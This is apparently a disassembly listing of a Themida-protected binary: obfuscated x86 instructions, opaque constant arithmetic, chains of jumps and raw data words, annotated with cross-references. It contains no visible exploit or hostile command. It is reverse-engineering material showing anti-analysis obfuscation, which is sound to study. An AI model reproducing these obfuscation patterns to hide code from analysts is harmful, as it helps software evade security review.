CODE XREF: Themida_:00548728j push esi mov esi, 28B17C12h add eax, esi jmp loc_5461CA ; --------------------------------------------------------------------------- aRsRiSt? db 'RS³rˆÚ[ét?',0 align 10h dd 0AC2814Ah, 57283176h, 5CFAB951h, 5CBF151Ah, 3114A85Ah dd 240C8BCFh, 4C481h, 8CE90000h, 0BE00003Ah, 7F576038h dd 4357E9h, 0C2815B00h, 42790A6Bh, 0FF1C5721h, 575A2434h dd 0C7815F54h, 4, 4C781h, 3C870000h, 24248B24h, 0FF88EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B135: ; CODE XREF: Themida_:0054A262j mov ebp, 1AF52C19h jmp loc_5494CE ; --------------------------------------------------------------------------- db 66h dd 5EB25251h, 1615E9h, 0EE685700h, 0E9735027h, 0FFFFF47Eh ; --------------------------------------------------------------------------- loc_54B154: ; CODE XREF: Themida_:0054F227j add esp, 4 push esi mov esi, esp push 378Dh mov [esp], edi mov edi, 34AD5355h dec edi jmp loc_5481BB ; --------------------------------------------------------------------------- loc_54B170: ; CODE XREF: Themida_:0054BDB4j push edx push dword ptr [esp+4] pop edx jmp loc_5447AF ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 210D5463h jmp loc_546426 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 2904C483h, 2434FFE8h, 4C4835Dh, 0FFAE02E9h, 4EF81FFh dd 87000000h, 0D3E9243Ch, 50FFFF89h, 0FF9E45E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1B1: ; CODE XREF: Themida_:00547437j and ebx, 6851AC0h add ebx, 0FDFAE804h sub edx, 505E3ED0h add edx, ebx add edx, 505E3ED0h pop ebx add edx, 4 xchg edx, [esp] pop esp push 21FFh mov [esp], edx push 40F5h jmp loc_54F267 ; --------------------------------------------------------------------------- dd 4C481h, 0C15E0000h, 0BF5707E1h, 25322A07h, 0BA52h, 0FA290000h dd 815AD789h, 7E588EEFh, 5FF93185h, 6859C831h, 72C3h, 0BE243489h dd 5BF2253Ah, 0A6CBE955h, 0EE81FFFFh, 8C1008h, 8D3CE81h dd 0E9576973h, 0FFFFC09Ch ; --------------------------------------------------------------------------- loc_54B234: ; CODE XREF: Themida_:00545413j add dword ptr [esp], 4 pop ebp jmp loc_54AEAD ; --------------------------------------------------------------------------- loc_54B241: ; CODE XREF: Themida_:0054B4D8j mov [esp], ebx mov ebx, 3DF30CDBh add ebx, 20CD95C7h mov edx, ebx jmp loc_5479BB ; --------------------------------------------------------------------------- dw 335Ah dd 0C31240Ch, 240C3324h, 0FF24248Bh, 48B2434h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi jmp loc_546EB7 ; --------------------------------------------------------------------------- db 33h dd 34312434h, 24343324h, 0FFEADDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B291: ; CODE XREF: Themida_:0054ADB9j xchg edx, edi not edx xor edi, edx jmp loc_54F516 ; --------------------------------------------------------------------------- loc_54B29C: ; CODE XREF: Themida_:0054AEDEj mov ecx, 0 add ecx, ebx xor [ecx], ebp pop ecx jmp loc_54B061 ; --------------------------------------------------------------------------- db 80h dd 8E901C2h, 0AD000047h, 46C0BB53h, 0D8293B87h db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_547501 ; --------------------------------------------------------------------------- aFrs6 db 'fRé',0Dh,'6',0 dd 241C8B00h, 4C481h, 0C3810000h, 9E78C885h, 0C4E9D989h dd 8BFFFFDBh, 0E4E9240Ch, 8900000Eh, 0AAB7241Ch, 78E95066h dd 50FFFFF6h, 0D76990B8h, 0E0F2527h, 0E8C120C7h, 0A4CCE905h dd 248BFFFFh, 240CFF24h, 8702E99Ch, 5352FFFFh, 89B29DB7h dd 81E9FA28h, 52FFFFE0h, 0FFA06AE9h, 81F229FFh, 0B7209FC2h dd 0E1E95E74h, 0C1FFFF86h, 0B1E907EBh, 8700003Dh, 7CE9242Ch dd 87000029h, 248B240Ch, 2434FF24h, 5224048Bh, 0C281E289h dd 4, 4C281h, 14870000h, 9FE95C24h, 0C100000Ah, 6DE908E3h dd 89FFFFA8h, 14E9241Ch db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B383: ; CODE XREF: Themida_:0054EEE2j sub esi, 0E8814493h xor edx, esi pop esi or esi, edx pop edx xor esi, 9A7E5B68h jmp loc_547B23 ; --------------------------------------------------------------------------- loc_54B39A: ; CODE XREF: Themida_:0054E287j xchg esi, ebx not esi xchg esi, ebx xor ebx, 0A56D6C28h jmp loc_5495C9 ; --------------------------------------------------------------------------- loc_54B3AB: ; CODE XREF: Themida_:00549B19j mov esp, [esp] push edx mov edx, 4 jmp loc_547363 ; --------------------------------------------------------------------------- db 2Dh, 0C5h, 0Ah dd 0CB2D2097h, 2910AA6Eh, 6ECB05E8h, 8FE910AAh, 66FFFFC1h dd 6824048Bh, 1375h, 68240489h, 2BAFh, 0FFA79EE9h, 5FFA01FFh dd 5204C283h, 0FFC5AFE9h, 4EC81FFh, 89000000h, 74FF243Ch dd 0E95F0424h, 0FFFF9B29h, 1FDDB951h, 0FF5164EAh, 0E959240Ch dd 0FFFFABC4h, 4EC81h, 0AFE90000h, 8300000Dh, 48904ECh dd 66B7B824h, 28BF4961h, 313DD646h, 0FA2958C7h, 83243C8Bh dd 0F2E904C4h, 68FFFFFEh, 455D727Dh, 73AE2D5Dh, 6AE93574h dd 1FFFFFFh, 0D342E9D3h, 0C7B3FFFFh, 80EFCB80h, 0D8003EC3h dd 2434FF5Bh, 5954515Ah, 4C181h, 0C1830000h, 240C8704h dd 2B26E95Ch, 0D2F60000h, 0FFCA51E9h, 0E95F58FFh, 2E9Ah dd 724BBB53h, 0DE2140DBh db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54FB58 ; --------------------------------------------------------------------------- loc_54B4A7: ; CODE XREF: Themida_:0054787Dj mov ebp, 1 push edi jmp loc_544593 ; --------------------------------------------------------------------------- loc_54B4B2: ; CODE XREF: Themida_:00549DBFj not dword ptr [esp] pop edi push ecx mov ecx, 2C752CA3h dec ecx xor ecx, 7B5D4072h add ecx, 388B40B0h xor ecx, 0DDF2B50Ch or edi, ecx pop ecx push edx push 1F79h jmp loc_54B241 ; --------------------------------------------------------------------------- loc_54B4DD: ; CODE XREF: Themida_:005455F1j sub esp, 4 mov [esp], ebx mov ebx, 3C46092Fh add edi, ebx push dword ptr [esp] pop ebx add esp, 4 xor edi, 5A4BA5A0h and eax, edi jmp loc_54DC8F ; --------------------------------------------------------------------------- loc_54B501: ; CODE XREF: Themida_:005472C2j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, 479D1374h jmp loc_5499E0 ; --------------------------------------------------------------------------- dd 1762C281h, 0D001042Bh, 6435055Ah, 665E137Eh, 6600B60Fh dd 66202368h, 0E9240489h, 0FFFF84E4h, 0FD88D2B7h, 0BDFBE95Bh dd 0EE01FFFFh, 146EBF57h, 0DFF73E0Ah, 3B59F781h, 0BCE9001Eh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B55B: ; CODE XREF: Themida_:00545AEBj mov edi, [esp] add esp, 4 neg esi jmp loc_54D1A9 ; --------------------------------------------------------------------------- loc_54B568: ; CODE XREF: Themida_:00548941j sub edi, 42F83226h add edi, ebx add edi, 42F83226h pop ebx add edi, 4 xchg edi, [esp] pop esp push edx push eax jmp loc_54F63D ; --------------------------------------------------------------------------- loc_54B585: ; CODE XREF: Themida_:00547725j add ebp, 4 jmp loc_54B610 ; --------------------------------------------------------------------------- dd 7F371705h, 505B5949h, 405E089h, 2D000000h, 4, 5C240487h dd 0FFA3C2E9h, 0E38953FFh, 563CB850h, 0C805006Ch, 1FF93A9h dd 60E958C3h, 33000024h, 3C31243Ch, 243C3324h, 0FF9AD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B5D1: ; CODE XREF: Themida_:0054D94Ej xor dword ptr [esp], 4CC365C8h pop ecx xor ecx, 4CC365C8h pop ebx push dword ptr [esp] pop ebp add esp, 4 rep movsd add esp, [edx+38h] push ebp mov ebp, 77E747F1h jmp loc_54DE53 ; --------------------------------------------------------------------------- dw 525Ah dd 4BAh, 0E9D60100h, 0FFFFC594h, 0E956F701h, 1A3Ch ; --------------------------------------------------------------------------- loc_54B610: ; CODE XREF: Themida_:0054B58Bj add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], edi pop ebx jmp loc_548FE4 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 2 dd 0C281DAF7h, 0ACA01F0Eh, 4B76BB53h, 0F3815254h, 1C953F94h dd 593FEB81h, 0DA09E8AFh, 9BB9515Bh, 81719C5Ch, 5F7228C9h dd 22D9E93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B65A: ; CODE XREF: Themida_:0054E190j pop ecx pop dword ptr [esp] jmp loc_546EFA ; --------------------------------------------------------------------------- db 1 dd 0A8E95EF2h, 83000038h, 48904ECh, 806BB424h, 0E95253F4h dd 0FFFFA20Bh, 4BE56h, 0F0290000h, 1362E9h, 5FFA0100h dd 0C65BC281h, 0C181DFBCh, 2A284AD7h, 16E9D101h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B69F: ; CODE XREF: Themida_:0054A408j mov edx, [esp] add esp, 4 jmp loc_54C3E8 ; --------------------------------------------------------------------------- loc_54B6AA: ; CODE XREF: Themida_:005498A5j add bl, 21h mov ecx, [esp] add esp, 4 push ecx mov cl, 0D5h shr cl, 8 or cl, 0EAh jmp loc_54724D ; --------------------------------------------------------------------------- dd 4CD2B951h, 0E1C146E6h, 0D9F74905h, 7D94F181h, 0F1817D8Ah dd 192D45F1h, 8959C831h, 0E98358C1h, 4E9C101h, 0E9D1D1F7h dd 0FFC91DE9h, 3FEB81FFh, 583A6C38h, 0FFEE15E9h, 5FFE89FFh dd 1DE9F101h, 8000000Dh, 0EF0081F5h, 5E7C059h, 8074F780h dd 0F80033C7h, 0FFCC0FE9h, 4C581FFh, 55000000h, 42474FFh dd 24048F5Dh, 8BE9525Ch, 81FFFFDAh, 6A0B9FEEh, 5EF02908h dd 0FFABB6E9h, 48B66FFh, 4AC06824h, 1C890000h, 4D506824h dd 41E90000h, 83000023h, 348904ECh, 407DE924h, 93050000h dd 0E9316C67h, 15B8h ; --------------------------------------------------------------------------- loc_54B76C: ; CODE XREF: Themida_:00544409j xor esi, 30DF3BB5h jmp loc_5451C0 ; --------------------------------------------------------------------------- db 5Ah dd 0FFFC68E9h, 240C8BFFh, 4C481h, 92E90000h, 89FFFF8Eh dd 0E789243Ch, 6BC5BA52h, 0E2C167EEh, 20F28103h, 813FE55Dh dd 0C16302C2h, 24A1E93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B7AA: ; CODE XREF: Themida_:0054EA1Fj mov esi, edx pop edx mov edi, [esp] add esp, 4 push ecx jmp loc_54FAE2 ; --------------------------------------------------------------------------- dd 15E9E929h, 81FFFFF6h, 542C97E2h, 1C28169h, 50000000h dd 405E089h, 0E9000000h, 0FFFFA766h, 0E92434FFh, 0FFFFD9B6h dd 0EC81C300h, 4, 5DBE9h, 58336800h, 4890000h, 3021B424h dd 0FE3058E7h, 5B2434FFh, 0FF8972E9h, 8DC380FFh, 0F2DC380h dd 34FFC0B6h, 8DBA5287h, 8124E114h, 0BD5E11EAh, 0A8EA8103h dd 0C1663414h, 0D2F704E2h, 1DEEC281h, 5429ECC8h, 0ABE90424h dd 6600003Fh, 5724048Bh, 435A68h, 24248900h, 9CE95553h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B84F: ; CODE XREF: Themida_:0054A9E2j xchg ebx, ecx and ecx, 648161FFh shr ecx, 1 xor ecx, 0ED150040h add ebp, ecx pop ecx jmp loc_546E52 ; --------------------------------------------------------------------------- loc_54B867: ; CODE XREF: Themida_:0054D31Ej mov eax, [esp] add esp, 4 jmp loc_54EF78 ; --------------------------------------------------------------------------- dw 0B151h dd 59CC8859h, 8058E788h, 0E7C060C7h, 0B5515004h, 2ED8084h dd 0AA0E9h, 0E9CB2900h, 0FFFFBF4Dh ; --------------------------------------------------------------------------- loc_54B894: ; CODE XREF: Themida_:0054F645j xor ah, 69h push edx mov dh, 1Ah sub dh, 0EFh jmp loc_54BB4B ; --------------------------------------------------------------------------- dw 0D931h dd 59C8295Bh, 5C240487h, 54240C89h, 4C18159h, 83000000h dd 0C8702C1h, 2AA0E924h, 59E90000h, 28FFFF81h, 9516E9D3h dd 0D4F6FFFFh, 0FE04E4C0h, 0EEEC80CCh, 6658E628h, 0E9E0B450h dd 2DC2h ; --------------------------------------------------------------------------- loc_54B8E4: ; CODE XREF: Themida_:0054501Cj push 397Bh mov [esp], ebx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_54418A ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 2 dd 2454F653h, 0C7805B01h, 0E9FA08C9h, 3640h, 8704C283h dd 95C2414h, 0E95A1C57h, 0FFFF8100h, 0C281E289h, 4, 4C281h dd 14330000h, 24143124h, 0E9241433h, 0FFFFA28Bh, 0E95EF189h dd 0FFFF845Eh, 0E924248Bh, 853h, 85EBE952h, 0E95CFFFFh dd 0FFFF860Ch ; --------------------------------------------------------------------------- loc_54B958: ; CODE XREF: Themida_:00549E2Dj push 0 sub [esp], ebp jmp loc_54A4AB ; --------------------------------------------------------------------------- db 88h, 0F3h, 88h dd 1E21E9D8h, 0C7810000h, 7FDE7350h, 4247C01h, 81243C8Bh dd 4C4h, 809AE900h, 0B951FFFFh, 4, 0E959C801h, 0FFFFED30h ; --------------------------------------------------------------------------- loc_54B994: ; CODE XREF: Themida_:005498E4j push 2274h mov [esp], ebp jmp loc_5480C2 ; --------------------------------------------------------------------------- loc_54B9A1: ; CODE XREF: Themida_:00546FFAj sub edi, 4E48171Bh add ebp, edi jmp loc_54DE40 ; --------------------------------------------------------------------------- dw 814Eh dd 0CC215AF6h, 3E6C125h, 3333EE81h, 0BEE91CE0h, 29FFFF99h dd 575559CFh, 3481555Dh, 0A46F1424h, 0EE95E26h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B9D7: ; CODE XREF: Themida_:0054CDBEj mov [esp], ebx jmp loc_548FA8 ; --------------------------------------------------------------------------- db 1 dd 0B7EAE9CBh, 4868FFFFh, 8900001Bh, 5152240Ch, 0F18013B1h dd 0CDC1800Ch, 8867C180h, 885359CAh, 5BD988D3h, 0C737E95Ah dd 0B252FFFFh, 68E0h, 14280000h, 24148A24h, 81E18951h dd 4C1h, 4C18300h, 5C240C87h, 5BB35350h, 0E9CAEB80h, 0FFFFA9A7h dd 49A768h, 240C8900h, 483DBA52h, 24E97B10h, 0ADFFFFD7h dd 2584E9h db 0 ; --------------------------------------------------------------------------- loc_54BA4D: ; CODE XREF: Themida_:00548C9Aj sub edi, ebp push ebp mov ebp, 44CA73ABh sub edi, ebp pop ebp mov ebp, [esp] add esp, 4 and eax, edi push dword ptr [esp] pop edi add esp, 4 shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax sub esp, 4 jmp loc_54A8DD ; --------------------------------------------------------------------------- loc_54BA8C: ; CODE XREF: Themida_:0054D966j mov esp, [esp] jmp loc_54868B ; --------------------------------------------------------------------------- dd 5C240487h, 8904EC83h, 0C6E9241Ch, 66000022h, 6612E6B9h dd 6604E1C1h, 0E904E9C1h, 0FFFFEBFCh, 295FFB01h, 4EC81C3h dd 89000000h, 3768240Ch, 8900006Bh, 0E953242Ch, 0E08h dd 4BC28142h, 0E97CC51Dh, 0FFFFDC4Ah ; --------------------------------------------------------------------------- loc_54BADC: ; CODE XREF: Themida_:0054C01Ej push edx mov edx, 2AE052A7h jmp loc_54DC89 ; --------------------------------------------------------------------------- db 89h dd 0BF572404h, 5AF74507h, 0FC0011B8h, 5FF83103h, 12D4040h dd 48000000h, 0FF840CE9h, 5EF029FFh, 0AC7C4135h, 6CF6684Ch dd 5DE90000h, 0B800002Dh, 6BB83BBFh, 5D8F748h, 8C759B97h dd 8158C789h, 0E24D7FEFh, 0F0C7815Eh, 0F7545057h, 81DFF7D7h dd 0D495B9C7h, 0FBBBE9E9h, 8B66FFFFh, 3E9240Ch db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BB4B: ; CODE XREF: Themida_:0054B89Dj sub dh, 0C4h or ah, dh pop edx jmp loc_546249 ; --------------------------------------------------------------------------- dw 0E5C1h dd 81ED8102h, 450DAD7Fh, 0BE1CBF57h, 26E9920Eh, 0B8000032h dd 30965796h, 3179E9h, 9CA8000h, 301DF280h, 24148BD0h dd 81E38953h, 4C3h, 33D0E900h, 54510000h, 4C18159h, 81000000h dd 4C1h, 240C8700h, 86B8E95Ch, 1C8BFFFFh, 4C48324h, 5D86BB53h dd 0E94B4D38h, 112Ah, 33E9DF01h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BBBF: ; CODE XREF: Themida_:0054F2F7j mov ebx, 28B17C12h jmp loc_548722 ; --------------------------------------------------------------------------- db 0B2h, 23h, 28h dd 24148BD3h, 4C481h, 0B60F0000h, 8734FFC0h, 8904EC83h dd 27E92404h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BBE7: ; CODE XREF: Themida_:005455FEj mov edx, [esp] jmp loc_54A3AE ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFFEAA8h ; --------------------------------------------------------------------------- loc_54BBF8: ; CODE XREF: Themida_:0054E30Dj sub ecx, 16C63DE6h sub ecx, ebx push ebx mov ebx, 16C63DE6h add ecx, ebx pop ebx push dword ptr [esp] pop ebx jmp loc_54DFAE ; --------------------------------------------------------------------------- loc_54BC12: ; CODE XREF: Themida_:0054F96Ej shl ecx, 3 jmp loc_547A29 ; --------------------------------------------------------------------------- dw 0BD55h dd 79AF4CC6h, 0F702EDC1h, 3E5C1DDh, 8107E5C1h, 0AAE09EC5h dd 5DE829F1h, 87E9F001h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC3B: ; CODE XREF: Themida_:00543FDCj push 2AC5h mov [esp], esi push dword ptr [esp+4] jmp loc_544090 ; --------------------------------------------------------------------------- dd 62E1CD81h, 0C581643Dh, 6E55CB4h, 0EC81E5D1h, 4, 0BE243489h dd 36E43CB3h, 64E9F509h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC6F: ; CODE XREF: Themida_:0054A760j xor ecx, 5BAC310Fh jmp loc_54452C ; --------------------------------------------------------------------------- dw 5966h dd 1D78E9h db 0 ; --------------------------------------------------------------------------- loc_54BC81: ; CODE XREF: Themida_:00543BAEj shl edx, 8 jmp loc_54F36B ; --------------------------------------------------------------------------- db 5Ch, 66h, 0D3h dd 0E99C243Ch, 0FFFF7D8Ch, 0DCEF814Fh, 21A19068h, 0F5815FFDh dd 0D7F7A5C0h, 2C8BEB89h, 0E058E924h, 0E981FFFFh, 76A036DEh dd 240C8758h, 11D5E9h, 4EC8300h, 81243C89h, 4ECh, 24348900h dd 8904EC83h, 0A8BD242Ch, 0E95D6A15h, 0FFFFABEFh, 0E904C483h dd 0FFFFD626h ; --------------------------------------------------------------------------- loc_54BCE4: ; CODE XREF: Themida_:00544618j or edx, eax shl edx, 1 push 6681h mov [esp], ebx push eax push edx push 0FFFFFFFFh jmp loc_549518 ; --------------------------------------------------------------------------- dd 0C3815B54h, 4, 74F968h, 24148900h, 4BAh, 29B1E900h dd 0DB680000h, 89000028h, 8B542434h, 0C4832434h, 4FFD6804h dd 3C890000h, 0BF575124h, 1C63136h, 0E95FF989h, 0FFFF94F8h dd 4EC81h, 3D680000h, 89000044h, 4812424h, 424h, 24048F00h dd 4240481h, 5A000000h, 4C281h, 0EE680000h, 8900002Bh dd 0BDE9243Ch, 81FFFFE2h, 9E6DB6C3h, 0E232E944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD7A: ; CODE XREF: Themida_:005460CDj xor esi, 7FB66DD2h add ebx, esi pop esi jmp loc_54A7A2 ; --------------------------------------------------------------------------- dd 5C243487h, 0E9243489h, 0FFFF986Fh, 0C104C483h, 39E907E3h dd 68FFFF9Eh, 0C8CB2571h, 0FFA063E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BDA9: ; CODE XREF: Themida_:0054D502j mov edx, esp add edx, 4 add edx, 4 jmp loc_54B170 ; --------------------------------------------------------------------------- loc_54BDB9: ; CODE XREF: Themida_:00549A7Cj xor esi, 899ECFAAh mov eax, esi mov esi, [esp] add esp, 4 jmp loc_54F472 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFD4DEh ; --------------------------------------------------------------------------- loc_54BDD4: ; CODE XREF: Themida_:00544CE1j push eax mov eax, 0F6FDF97Fh add edx, eax pop eax sub [edi+24h], edx jmp loc_54EB61 ; --------------------------------------------------------------------------- db 1, 0C8h, 59h dd 0B468D829h, 8900001Dh, 48E9242Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_54C483 ; --------------------------------------------------------------------------- db 31h dd 3FBE9C8h, 6C680000h, 8900004Dh, 5B682414h, 0E900000Fh dd 0FFFFE157h, 68E1D149h, 7CF4h, 0BB241C89h, 10C6140Ah dd 7BE9D901h, 5CFFFFE9h, 582434FFh, 5E08950h, 4, 0E904E883h dd 0FFFFBE6Eh ; --------------------------------------------------------------------------- loc_54BE50: ; CODE XREF: Themida_:00549DB9j pop edi jmp loc_54DAA5 ; --------------------------------------------------------------------------- dw 0C483h dd 8BF88904h, 0C483243Ch, 7BBAE904h, 814BFFFFh, 0D64955CBh dd 7CBCE91Eh, 77FFFFFFh, 2434FF3Ch, 582434FFh, 5704C483h dd 0EC81E789h, 4, 0FFA0F7E9h, 88C780FFh, 2C8AB050h, 0E9C0FE01h dd 0FFFFE830h, 56240489h, 0E63672BEh, 4EDEF732h, 772CC681h dd 0F0898B29h, 8124348Bh, 4C4h, 8BC22900h, 0C4812404h dd 4, 6473EA81h, 21E93CE3h, 68FFFFBEh, 3E4h, 0FF805AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BED9: ; CODE XREF: Themida_:0054ED24j mov edi, esp add edi, 4 sub esp, 4 jmp loc_543A62 ; --------------------------------------------------------------------------- loc_54BEEC: ; CODE XREF: Themida_:0054F216j movzx eax, ax push small 47D4h mov [esp], ax jmp loc_543A20 ; --------------------------------------------------------------------------- dd 0C2815A54h, 4, 4EA81h, 49E90000h, 0B1FFFFADh, 0E9C80811h dd 0FFFFFD62h ; --------------------------------------------------------------------------- loc_54BF18: ; CODE XREF: Themida_:0054C879j add edx, ebx jmp loc_549854 ; --------------------------------------------------------------------------- loc_54BF1F: ; CODE XREF: Themida_:00547B8Fj add esp, 4 push ebx mov ebx, 0B92D66h sub ebx, 2CBF3528h push ebx push ecx pop ebx pop ecx inc ecx push ebx jmp loc_54E0CC ; --------------------------------------------------------------------------- loc_54BF39: ; CODE XREF: Themida_:00547F89j push edi mov edi, 49646A5Eh jmp loc_545CD9 ; --------------------------------------------------------------------------- dd 66FDC780h, 0E998B652h, 0FFFFE8DAh ; --------------------------------------------------------------------------- loc_54BF50: ; CODE XREF: Themida_:0054DAE7j sub esp, 4 jmp loc_54950B ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 240C8900h, 6B2F68h, 48F5400h, 0A45AE924h dd 0EA80FFFFh, 6DEA80B5h, 281FC280h, 40E95AD0h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BF87: ; CODE XREF: Themida_:0054D4B0j push esi mov esi, esp jmp loc_54E016 ; --------------------------------------------------------------------------- db 89h dd 89E9240Ch db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF97: ; CODE XREF: Themida_:0054F798j add ecx, 5A5F496Dh jmp loc_54FB52 ; --------------------------------------------------------------------------- dw 1489h dd 0E9545224h, 0FFFFC5BDh, 19606850h, 0E9586ED0h, 1BF3h dd 0E9241C89h, 0FFFF882Bh, 45EB8158h, 29BA93F6h, 241C8BDEh dd 104C483h, 24348BF5h, 8704C483h, 248B242Ch, 0C83B6624h dd 7A3AE99Ch, 0C483FFFFh, 34C4E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BFEE: ; CODE XREF: Themida_:00545B21j push eax jmp loc_54D230 ; --------------------------------------------------------------------------- loc_54BFF4: ; CODE XREF: Themida_:0054E022j pop esp sub esp, 4 jmp loc_54C093 ; --------------------------------------------------------------------------- dd 2B95152h, 89000000h, 0D50159CAh, 242C875Ah, 6624248Bh dd 9C240429h, 0FFE102E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C01D: ; CODE XREF: Themida_:0054DF68j push ebp jmp loc_54BADC ; --------------------------------------------------------------------------- db 0B8h dd 63A9383Ah, 0C137B10Dh, 5BFC2D5Ah, 1C2D2CF7h, 0E92AC914h dd 0FFFFE957h, 68D6F658h, 1732h, 0B7241C89h, 0D493E9DFh dd 0CDE9FFFFh, 81FFFF79h, 63555DEBh, 4EC8147h, 89000000h dd 47B82404h, 81327A61h, 0CE446EC2h, 0E9C20121h, 0FFFF80D7h dd 30B0E951h, 34FF0000h, 9EB4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi jmp loc_546792 ; --------------------------------------------------------------------------- loc_54C093: ; CODE XREF: Themida_:0054BFFBj mov [esp], esi mov esi, 10F64A1Ch add eax, esi jmp loc_54F342 ; --------------------------------------------------------------------------- loc_54C0A2: ; CODE XREF: Themida_:00543AACj push ebp push edi mov edi, 3B3B6D7Dh inc edi shr edi, 6 dec edi add edi, 356375D1h jmp loc_5498AA ; --------------------------------------------------------------------------- db 81h, 0C5h, 5Dh dd 56078315h, 172967BEh, 0E9F53144h, 0FFFFA4DBh, 8B240489h dd 89572404h, 4C781E7h, 68000000h, 2A38h, 50240C89h, 0AE75F8B8h dd 4C8D2D17h, 0D1E91685h, 59FFFFF5h, 0FFC0BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C0F9: ; CODE XREF: Themida_:0054A7E3j pop ebp shl edx, 2 push edx xchg edx, [esp] not edx jmp loc_54CA54 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 0E3895304h, 4C381h, 0EB830000h dd 0CD27E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C122: ; CODE XREF: Themida_:0054F354j add esp, 4 push 4E07h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], edx push 4 pop edx add eax, edx mov edx, [esp] add esp, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or eax, eax jnz loc_549FEB push ecx push 1214h jmp loc_54DEE3 ; --------------------------------------------------------------------------- dd 592434FFh, 0FF98B2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C171: ; CODE XREF: Themida_:0054959Dj mov ecx, 55327DD8h jmp loc_547380 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF78A0h, 24048B66h, 65E95451h, 0B2FFFFD6h, 42C28002h dd 8033CA80h, 0C32C02C2h, 2BE9D028h, 0E9FFFF95h, 0FFFF787Ch dd 376163BAh, 8BD10123h, 0C4832414h, 81F10104h, 4ECh, 24048900h dd 0AC58E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C1C2: ; CODE XREF: Themida_:00548E02j mov edx, 13687D56h neg edx jmp loc_54E171 ; --------------------------------------------------------------------------- dw 8F54h dd 39E92404h, 81FFFFE5h, 4C4h, 0B281E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C1E2: ; CODE XREF: Themida_:00547AD9j add ecx, 4 xchg ecx, [esp] pop esp add ebx, 15F1837Eh xor eax, ebx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi jmp loc_544954 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0DCE90000h, 59000003h, 5E168h, 24048900h, 0FF77F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C229: ; CODE XREF: Themida_:00545A5Fj mov [esp], ecx push 0CE4h mov [esp], esi jmp loc_54E705 ; --------------------------------------------------------------------------- db 55h, 0BDh, 2Fh dd 814E8B6Fh, 0EF17BFC5h, 9CC4E946h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C24A: ; CODE XREF: Themida_:00544F0Ej xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_54ADB3 ; --------------------------------------------------------------------------- db 68h, 4Ah, 2Dh dd 4890000h, 0EBFE924h, 83AD0000h, 0F00207Fh, 0FF7D0D84h dd 0D7B850FFh, 1393A45h, 2434FFC6h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 jmp loc_545BC0 ; --------------------------------------------------------------------------- db 0ACh, 66h, 68h dd 89E964C6h, 81FFFF8Ah, 2A76B6EEh, 5EF2091Dh, 81EAD14Ah dd 0F5C00F2h, 0E9D62957h, 1A2h, 0CE022668h, 9CE95B2Ch dd 87FFFFE5h, 0E95C2404h, 0FFFF775Ch ; --------------------------------------------------------------------------- loc_54C2C4: ; CODE XREF: Themida_:0054F72Dj add esp, 4 and eax, edi pop edi or eax, eax jz loc_546E67 push 7A2h mov [esp], ebx jmp loc_54CD36 ; --------------------------------------------------------------------------- dw 0CE81h 